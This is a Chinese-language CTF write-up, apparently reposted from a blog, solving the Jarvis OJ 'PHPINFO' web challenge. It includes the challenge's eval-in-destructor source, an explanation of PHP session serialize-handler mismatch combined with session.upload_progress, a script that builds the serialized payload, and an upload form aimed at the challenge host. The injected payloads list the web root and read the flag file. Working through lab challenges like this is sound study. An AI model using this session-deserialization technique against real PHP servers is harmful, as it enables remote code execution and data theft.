Jarvis OJ WEB PHPINFO

Jarvis OJ WEB PHPINFO

session反序列化的题目,很少做,貌似也不会,这里记一下
打开题目可以得到源码:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    
    
    public $mdzz;
    function __construct()
    {
    
    
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
    
    
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    
    
    $m = new OowoO();
}
else
{
    
    
    highlight_string(file_get_contents('index.php'));
}
?>

粗略看一下代码,可以发现OowoO类中存在命令执行:
在这里插入图片描述
很显然只要我们能够控制$this->mdzz这个变量那我们就能为所欲为!!!
不过关键的是我们该如何控制这里呢,这里不存在unserialize反序列化漏洞
而且没有明显的传值的利用方式,唯一可以看见的是:ini_set('session.serialize_handler', 'php');
再查看一下phpinfo(),默认session.serialize_handler为php_serialize,而这里却设置为php:
在这里插入图片描述
看到这里,已经很明显了,这里存在session反序列化问题
看一下这篇文章:PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
主要就是因为处理器的对应的处理格式不同导致的安全问题,
而且上面这篇文章说的很清楚了,就不再多说
不过这样还是不够,因为我们还是无法控制$this->mdzz这个变量,这样就引出了第二个知识点:

上传进度支持(session.upload_progress)

在这里插入图片描述
这样我们就能够把我们的数据传入到session中,然后利用session处理器的问题进行反序列化
这样我们就能够控制$this->mdzz这个变量,然后为所欲为 ~~~
查看一下phpinfo():
在这里插入图片描述
是的!!!可以利用!!!
首先先构造一个序列化,也就是payload:

<?php
class OowoO{
    
    
    public $mdzz='var_dump(scandir("/opt/lampp/htdocs/"));';#路径由phpinfo所知
}

$zz = new OowoO();
$md = serialize($zz)."\n";
echo $md;
#为了防止转义,双引号前面加上\
$payload = "";
	
for($i = 0; $i < strlen($md); $i++){
    
    
	if($md[$i] == '"'){
    
    
		$payload .= "\\\"";
	}else{
    
    
		$payload .= $md[$i];
	}
}

echo $payload;

?>

得到:
O:5:"OowoO":1:{
    
    s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}
O:5:\"OowoO\":1:{
    
    s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\";}

然后我们自己写一个提交表单页面:

<!DOCTYPE html>
<html>
<head>
	<title>A_dmin</title>
	<meta charset="utf-8">
</head>
<body>
	<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
	    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
	    <input type="file" name="file" />
	    <input type="submit" value="submit" />
	</form>
</body>
</html>

提交进行抓包,,,,
在每个前面加上一个|,然后在文件名处修改为payload得到:
在这里插入图片描述
读取flag:

class OowoO{
    
    
    public $mdzz='var_dump(readfile("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
}

得到flag:
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_42967398/article/details/105492983
今日推荐